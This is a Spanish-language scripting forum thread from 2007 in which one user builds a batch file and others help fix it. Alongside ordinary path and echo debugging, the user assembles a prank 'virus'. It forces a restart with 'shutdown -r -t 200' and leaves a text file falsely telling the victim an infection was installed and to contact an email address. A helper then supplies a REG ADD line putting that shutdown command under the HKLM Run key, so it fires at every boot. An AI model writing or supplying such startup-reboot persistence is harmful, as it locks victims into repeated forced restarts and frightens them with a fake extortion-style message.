Autor
|
Tema: TUTORIAL PROGRAMACION BAT (Leído 396,762 veces)
|
|
Siuto
|
copy con: lala.bat msg * ola ^Z Esto lo podes hacer en la consola pero en BATCH tenes que hacer asi: ECHO msg * ola >> lala.bat
|
|
|
|
|
En línea
|
|
|
|
Undertaker092
Desconectado
Mensajes: 11
Si temes la muerte.Temes a Undertaker
|
Mira estas screens:    no entiendo xk efectua esas cosas: crear otra carpeta aparte de las especificadas... -otra pregunta:el spoil en este foro es cn hide??
|
|
|
|
|
En línea
|
|
|
|
|
Siuto
|
A ver vamos desde cero porque aca supongo que hay varios problemas...
1. Mal interpretaste mi post anterior, las 3 lineas que te cite en el 1er code se remplazan solo por una, la que puse al final.
2. Puede ser que el usuario de tu PC con el que estes loguaado se llame usuario, pero dudo que sea asi y seguramente donde dice usuario tenes que poner el nombre de usuario. Para saber el mismo podes ir hasta C:\Documents and settings y mirar los nombres de los usuarios o sino en remplazo de C:\documents and settings\usuario\escritorio podes usar %USERPROFILE%\Escrotorio
Con esos dos arreglos te tendria que andar, sin embargo en la linea 4 creas una carpeta llamada carpeta 2 que no te sirve de nada, podrias omitirla.
|
|
|
|
|
En línea
|
|
|
|
GroK
Desconectado
Mensajes: 680
...I have become comfortably numb...
|
Tambien añadir que para los nombres de rutas y demas que contengan espacios debes ponerlas entre comillas, sino solo cogera la primera palabra como valida cd "C:\documents and settings\usuario\escritorio" md "carpeta 1" md "carpeta 2" cd "C:\documents and settings\usuario\escritorio\carpeta 1" Etc...Saludos
|
|
|
|
|
En línea
|
"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant
|
|
|
Undertaker092
Desconectado
Mensajes: 11
Si temes la muerte.Temes a Undertaker
|
Ya me funciona todo...pero m falta una cosa: @echo off cd "C:\documents and settings\usuario\escritorio" md "carpeta 1" cd "C:\documents and settings\usuario\escritorio\carpeta 1" echo msg * ola>>ostia.bat exit
..aora como le añado @echo off a ostia.bat??
|
|
|
|
|
En línea
|
|
|
|
|
|
|
Siuto
|
Ya sta XDXD...m tuve k acer otro usuario :-\ :-\ :-(
Como es eso? Porque?
|
|
|
|
|
En línea
|
|
|
|
GroK
Desconectado
Mensajes: 680
...I have become comfortably numb...
|
ahora como le añado @echo off a ostia.bat??
Por si todavia tenias la duda, simplemente: echo @echo off > ostia.bat echo msg * ola >> ostia.bat Etc... Saludos
|
|
|
|
|
En línea
|
"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant
|
|
|
.Undertaker.
Desconectado
Mensajes: 49
|
OK..XD aora otra duda... @echo off cd "C:\%homedrive%%homepath%\escritorio" md "ENTRA AQUI" cd "C:\%homedrive%%homepath%\escritorio\ENTRA AQUI" echo Ola,acabas d instalar a un virus en tu pc,si quieres quitarlo facilmente agreaga a usuario@hotmail.com>>solucion.txt exit No entiendo xk se me crea la carpeta " ENTRA AQUI" y a parte tmb en el escritorio el archivo " solucion.txt...deberia krearlo dentro d la otra karpeta no?? para eso esta el 2º cd [... "C:\%homedrive%%homepath%\escritorio\ENTRA AQUI"]
|
|
|
|
|
En línea
|
|
|
|
|
Siuto
|
El problema es que escribiste mal la ruta de la 2da linea, cd "C:\%homedrive%%homepath%\escritorio", eso seria: CD %USERPROFILE%\Escritorio O si queres seguir usando las variables que vos pusiste tenes que sarcar el C:\ y te quedaria asi: CD %HOMEDRIVE%%HOMEPATH%\Escritorio PAra encotrar algun error de este tipo cuando haces un bat tenes que correrlo desde una ventana de MS-DOS abierta previamente para que al terminar la ejecucion del mismo no se cierre la ventana porque de haber aparecido algun error no lo vas a poder llegar a ver o sino antes del EXIT poner un PAUSE para detener la ejecucion hasta que puedas leer el error.
|
|
|
|
« Última modificación: 20 Agosto 2007, 07:39 por Siuto »
|
En línea
|
|
|
|
.Undertaker.
Desconectado
Mensajes: 49
|
aparte.... i aora si le añado shutdown... @echo off shutdown -r -t 200 cd "C:\%homedrive%%homepath%\escritorio" md "ENTRA AQUI" cd "CD %USERPROFILE%\Escritorio\ENTRA AQUI" echo Ola,acabas d instalar a un virus en tu pc,si quieres quitarlo facilmente agreaga a usuario@hotmail.com>>solucion.txt pause>nul exit -->Como lo añado al registro de windows...solo para ese usuario¿?¿? y para todos los usuarios?¿?¿
|
|
|
|
|
En línea
|
|
|
|
.Undertaker.
Desconectado
Mensajes: 49
|
La segunda linea aun no sta bn...m parece k no t entendi...
ad+ aora m crea la carpeta i el archivo en el escritorio separados i en el .txt no ai nada escrito... y por ultimo...el @echo off no m sirve d nada...jiji siento dar tnto dolor de cabeza.
|
|
|
|
|
En línea
|
|
|
|
|
Siuto
|
Tenes que usar el comando REG ADD, para ver la ayuda escribis en la consola REG ADD /? y te muestra la informacion, te la pego a continuacion, leela y pregunta si no entendes alguna cosa... Herramienta de registro de consola para Windows - versión 3.0 Copyright (C) Microsoft Corp. 1981-2001. Reservados todos los derechos
REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f]
clave [\\equipo\]tclave Equipo nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo HKLM y HKU están disponibles para equipos remotos. tclave CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ] subclave Nombre completo de una clave de registro en la CLAVERAIZ seleccionada.
/v Nombre del valor en la clave seleccionada para agregar
/ve Agrega el nombre de valor vacío <sin nombre>
/t Tipos de datos de clave de registro [ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN | REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN | REG_NONE | REG_EXPAND_SZ ] Si se omite, se asume REG_SZ
/s Especifica el carácter que usa como separador en su cadena de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como separador
/d Datos que se asignan a nvalor del registro que se agrega
/f Fuerza la sobrescritura de entradas de registro existentes sin avisar.
Ejemplos:
REG ADD \\ABC\HKLM\Software\MiCo Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC
REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead)
REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0)
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%) Nota: use porcentaje doble ( %% ) dentro de la cadena expandida Te recomiendo que si no estas muy seguro de si tus BATs funcionan bien para probar algun comando nuevo o alguna cosa que no sabes usar lo hagas desde la misma consola o en un archivo nuevo para no confundir los errores que puedas tener de antes con los nuevos. Bueno me fui a dormir es tarde, mañana miro lo que dijiste mientras escribia esto. PD: Me olvide de avisarte que la clave que se usa para abrir archivos cuando se inicia la PC es: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrrentVersion\Run
|
|
|
|
« Última modificación: 20 Agosto 2007, 07:53 por Siuto »
|
En línea
|
|
|
|
.Undertaker.
Desconectado
Mensajes: 49
|
M parece k es este: REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%) Nota: use porcentaje doble ( %% ) dentro de la cadena expandida ... pero es como si m dices misa...jejej i no pordria usar HKEY_CURRENT_USER?? >>m puedes explicar el code que puse ai<< Gracias d antemano!  EDITADO ------------------------------------------------------------------ REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%) en ese "datos" coloco shutdown -r -t 200?? y en ese "nombre" que coloco?? EDITADO ------------------------------------------------------------------ @echo off shutdown -r -t 200 REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)cd "C:\%homedrive%%homepath%\escritorio" md "ENTRA AQUI" cd "%USERPROFILE%\Escritorio\ENTRA AQUI" echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt cls exit M podrias arreglar el REG ADD...?? sk no lo entiendo muy bn...Eso si explicamelo para saber hacerlo para otra vez. XDXDXD ----->perdon por los dolores de cabeza<-----
|
|
|
|
« Última modificación: 20 Agosto 2007, 10:34 por .Undertaker. »
|
En línea
|
|
|
|
|
Siuto
|
La clave del registro que tenes que usar es esta: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrrentVersion\Run por ahi no la viste porque creo que edite el post despues de que vos posteaste, te quedaria asi... REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200 Proba a ver si asi te anda sino proba con las comillas. PD: El conmando shutdown esta dentro del path de windows(System32) por eso es que en este caso no es necesario escribir la ruta hasta el mismo.
|
|
|
|
|
En línea
|
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Tutorial: Programación ODBC
Programación General
|
ø:|The_hacker|:ø
|
0
|
445
|
23 Febrero 2005, 09:37
por ø:|The_hacker|:ø
|
|
|
Tutorial: Programación PIC
Electrónica
|
Fabios Arts
|
2
|
6,011
|
4 Diciembre 2005, 22:23
por Fabios Arts
|
|
|
Tutorial programación BAT
Scripting
|
soplo
|
4
|
1,428
|
22 Julio 2006, 23:38
por sirdarckcat
|
|
|
Video Tutorial Programacion C++
« 1 2 3 4 5 »
Programación C/C++
|
Chuxxx
|
60
|
41,619
|
7 Febrero 2012, 15:26
por MauroMasciar
|
|
|
Tutorial de programación con Qt4 - 1º,2º y 3º entrega
Programación C/C++
|
paju1986
|
1
|
1,814
|
25 Diciembre 2010, 21:52
por Littlehorse
|
|